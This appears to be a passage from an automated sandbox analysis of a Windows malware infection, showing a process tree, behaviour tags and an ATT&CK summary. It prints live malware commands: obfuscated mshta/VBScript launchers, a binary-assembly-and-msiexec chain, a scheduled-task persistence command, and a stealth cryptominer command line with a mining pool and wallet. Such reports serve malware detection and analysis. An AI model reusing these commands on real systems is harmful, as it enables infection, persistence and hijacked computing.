C:\Users\Admin\Pictures\Adobe Films\hyV7MUyGN1vp5LF_Y0M4SUst.exe"C:\Users\Admin\Pictures\Adobe Films\hyV7MUyGN1vp5LF_Y0M4SUst.exe"9⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\hyV7MUyGN1vp5LF_Y0M4SUst.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\hyV7MUyGN1vp5LF_Y0M4SUst.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\hyV7MUyGN1vp5LF_Y0M4SUst.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\hyV7MUyGN1vp5LF_Y0M4SUst.exe" ) do taskkill -f -iM "%~NxM"11⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "hyV7MUyGN1vp5LF_Y0M4SUst.exe"12⤵
- Kills process with taskkill
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\M7OFzUVU_2lUEUpKKqmfcm9Q.exe"C:\Users\Admin\Pictures\Adobe Films\M7OFzUVU_2lUEUpKKqmfcm9Q.exe"9⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=110⤵
- Loads dropped DLL
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\jpVBXoWtez9zBh5IgkIjaced.exe"C:\Users\Admin\Pictures\Adobe Films\jpVBXoWtez9zBh5IgkIjaced.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5124 -s 2368⤵
- Program crash
-
-
-
C:\Users\Admin\Pictures\Adobe Films\WLbIvLor5WnQKm5knvi8MtWz.exe"C:\Users\Admin\Pictures\Adobe Films\WLbIvLor5WnQKm5knvi8MtWz.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
-
C:\Users\Admin\Pictures\Adobe Films\BePq_T9Hq3iVMTpXRgK27vyP.exe"C:\Users\Admin\Pictures\Adobe Films\BePq_T9Hq3iVMTpXRgK27vyP.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 2368⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Users\Admin\Pictures\Adobe Films\xh3mZK2ecejG8igusCC8zBL1.exe"C:\Users\Admin\Pictures\Adobe Films\xh3mZK2ecejG8igusCC8zBL1.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5408 -s 2408⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Users\Admin\Pictures\Adobe Films\gGwOY5NCLlCu9C5g3_VvcyON.exe"C:\Users\Admin\Pictures\Adobe Films\gGwOY5NCLlCu9C5g3_VvcyON.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun0324aba28588c0.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun0324aba28588c0.exeSun0324aba28588c0.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3316 -s 2407⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
-
-
-
-
C:\Windows\SysWOW64\autochk.exe"C:\Windows\SysWOW64\autochk.exe"2⤵
-
-
C:\Windows\SysWOW64\WWAHost.exe"C:\Windows\SysWOW64\WWAHost.exe"2⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies Internet Explorer settings
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\Rk5Q2GiLAWwnXHDIUz01H0AG.exe"3⤵
-
-
-
C:\Windows\SysWOW64\colorcpl.exe"C:\Windows\SysWOW64\colorcpl.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\899E.exeC:\Users\Admin\AppData\Local\Temp\899E.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\899E.exeC:\Users\Admin\AppData\Local\Temp\899E.exe3⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
-
-
C:\Users\Admin\AppData\Local\Temp\D0CA.exeC:\Users\Admin\AppData\Local\Temp\D0CA.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\DA41.exeC:\Users\Admin\AppData\Local\Temp\DA41.exe2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2216 -s 2763⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Users\Admin\AppData\Local\Temp\9E7C.exeC:\Users\Admin\AppData\Local\Temp\9E7C.exe2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\BF63.exeC:\Users\Admin\AppData\Local\Temp\BF63.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\DABC.exeC:\Users\Admin\AppData\Local\Temp\DABC.exe2⤵
-
-
C:\Program Files (x86)\Nanxd0\etj8l08paz78.exe"C:\Program Files (x86)\Nanxd0\etj8l08paz78.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\4629.exeC:\Users\Admin\AppData\Local\Temp\4629.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\9554.exeC:\Users\Admin\AppData\Local\Temp\9554.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun03ea09aa5c9686e5.exeSun03ea09aa5c9686e5.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"4⤵
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"6⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\services64.exeC:\Users\Admin\AppData\Roaming\services64.exe6⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"8⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost64"9⤵
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.udda/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6OAdluV/h8Wx+uVST9CwRTBBZDSizq+6yEkb73lzV2SG" --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth8⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\Nanxd0\etj8l08paz78.exe"C:\Program Files (x86)\Nanxd0\etj8l08paz78.exe"9⤵
- Loads dropped DLL
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\8292732.exe"C:\Users\Admin\AppData\Roaming\8292732.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\1706573.exe"C:\Users\Admin\AppData\Roaming\1706573.exe"4⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Roaming\6109145.exe"C:\Users\Admin\AppData\Roaming\6109145.exe"4⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Roaming\3893969.exe"C:\Users\Admin\AppData\Roaming\3893969.exe"4⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Roaming\4659726.exe"C:\Users\Admin\AppData\Roaming\4659726.exe"4⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Roaming\5532052.exe"C:\Users\Admin\AppData\Roaming\5532052.exe"4⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPT: cLOse ( CreaTEOBjeCt ( "WsCRiPT.sHelL" ). RUn ( "C:\Windows\system32\cmd.exe /Q /c tYpe ""C:\Users\Admin\AppData\Roaming\5532052.exe"" > seV03VBOUIE.eXe&& StArt sev03VbOUie.exe -POVwq7z4ndmK6x4P & if """" == """" for %N In (""C:\Users\Admin\AppData\Roaming\5532052.exe"" ) do taskkill -IM ""%~nxN"" /F" , 0 , TrUE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /Q /c tYpe "C:\Users\Admin\AppData\Roaming\5532052.exe" > seV03VBOUIE.eXe&& StArt sev03VbOUie.exe -POVwq7z4ndmK6x4P & if "" == "" for %N In ("C:\Users\Admin\AppData\Roaming\5532052.exe" ) do taskkill -IM "%~nxN" /F6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -IM "5532052.exe" /F7⤵
- Kills process with taskkill
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\1219031.exe"C:\Users\Admin\AppData\Roaming\1219031.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Soft1WW01.exe"C:\Users\Admin\AppData\Local\Temp\Soft1WW01.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6088 -s 2964⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Users\Admin\AppData\Local\Temp\4.exe"C:\Users\Admin\AppData\Local\Temp\4.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\5.exe"C:\Users\Admin\AppData\Local\Temp\5.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"6⤵
- Kills process with taskkill
-
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )7⤵
- Blocklisted process makes network request
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"8⤵
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC8⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "9⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"9⤵
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC9⤵
- Loads dropped DLL
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\chenxiulan-game.exe"C:\Users\Admin\AppData\Local\Temp\chenxiulan-game.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\6.exe"C:\Users\Admin\AppData\Local\Temp\6.exe"3⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5460 -s 19564⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=14⤵
- Loads dropped DLL
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-F8JNG.tmp\Sun03f5d51697d04.tmp"C:\Users\Admin\AppData\Local\Temp\is-F8JNG.tmp\Sun03f5d51697d04.tmp" /SL5="$1021C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun03f5d51697d04.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun03f5d51697d04.exe"C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun03f5d51697d04.exe" /SILENT2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-PAJQQ.tmp\Sun03f5d51697d04.tmp"C:\Users\Admin\AppData\Local\Temp\is-PAJQQ.tmp\Sun03f5d51697d04.tmp" /SL5="$2021E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun03f5d51697d04.exe" /SILENT3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-LNJ27.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-LNJ27.tmp\postback.exe" ss14⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2516 -ip 25161⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4904 -s 4522⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4904 -ip 49041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4388 -ip 43881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 5940 -ip 59401⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 544 -p 3600 -ip 36001⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 3412 -ip 34121⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 3316 -ip 33161⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 452 -p 5460 -ip 54601⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6572 -s 4483⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 6572 -ip 65721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5948 -ip 59481⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 5124 -ip 51241⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 5408 -ip 54081⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 720 -p 6088 -ip 60881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 5276 -ip 52761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 688 -p 5896 -ip 58961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 764 -p 5704 -ip 57041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 1996 -ip 19961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 932 -ip 9321⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5696 -ip 56961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1552 -ip 15521⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 716 -p 4904 -ip 49041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 4920 -ip 49201⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 6648 -ip 66481⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2216 -ip 22161⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Enumerates connected drives
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding EDCE0C6B1B8F01FBF662CFA5CD8F8196 C2⤵
- Loads dropped DLL
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7472 -s 4563⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 7472 -ip 74721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2968 -ip 29681⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 1776 -ip 17761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 6280 -ip 62801⤵
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Disabling Security Tools
1Install Root Certificate
1Modify Registry
4Virtualization/Sandbox Evasion
1Web Service
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4KB
-
Filesize
180KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
6.1MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
128KB
-
Filesize
6.1MB
-
Filesize
80KB
-
Filesize
4KB
-
Filesize
80KB
-
Filesize
100KB
-
Filesize
1.5MB
-
Filesize
572KB
-
Filesize
1.5MB
-
Filesize
1.5MB
-
Filesize
572KB
-
Filesize
100KB
-
Filesize
152KB
-
Filesize
572KB
-
Filesize
100KB
-
Filesize
1.5MB
-
Filesize
100KB
-
Filesize
4KB
-
Filesize
912KB
-
Filesize
164KB
-
Filesize
3.3MB
-
Filesize
1.3MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
1.4MB
-
Filesize
1.7MB
-
Filesize
1.5MB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
100KB
-
Filesize
3.3MB
-
Filesize
164KB
-
Filesize
8KB
-
Filesize
3.3MB
-
Filesize
68KB
-
Filesize
68KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
304KB
-
Filesize
4KB
-
Filesize
1.3MB
-
Filesize
12KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
2.5MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
3.3MB
-
Filesize
68KB
-
Filesize
4KB
-
Filesize
64KB
-
Filesize
72KB
-
Filesize
8KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
2.1MB
-
Filesize
4KB